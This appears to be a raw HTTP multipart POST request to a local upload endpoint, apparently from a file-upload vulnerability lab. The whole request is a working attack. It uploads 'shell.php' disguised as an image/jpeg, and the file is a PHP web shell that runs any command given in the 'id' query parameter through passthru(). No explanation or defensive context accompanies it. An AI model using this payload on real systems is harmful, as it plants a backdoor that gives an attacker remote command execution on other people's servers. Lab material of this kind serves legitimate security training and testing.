POST http://127.0.0.1/upload/ HTTP/1.1
Host: localhost
Referer: http://127.0.0.1/index.php
Cookie: PHPSESSID=$session_id
Content-Length: 1024
Content-Type: multipart/form-data; boundary="6G+f"

--6G+f
Content-Disposition: form-data; name="MAX_FILE_SIZE"

100000
--6G+f
Content-Disposition: form-data; name="uploaded"; filename="shell.php"
Content-Type: image/jpeg

<?php
  if (isset ($_GET['id']) && !empty ($_GET['id']))
    passthru ($_GET['id']);
  else
    echo "Empty";
?>
--6G+f
Content-Disposition: form-data; name="Upload"

Upload
--6G+f--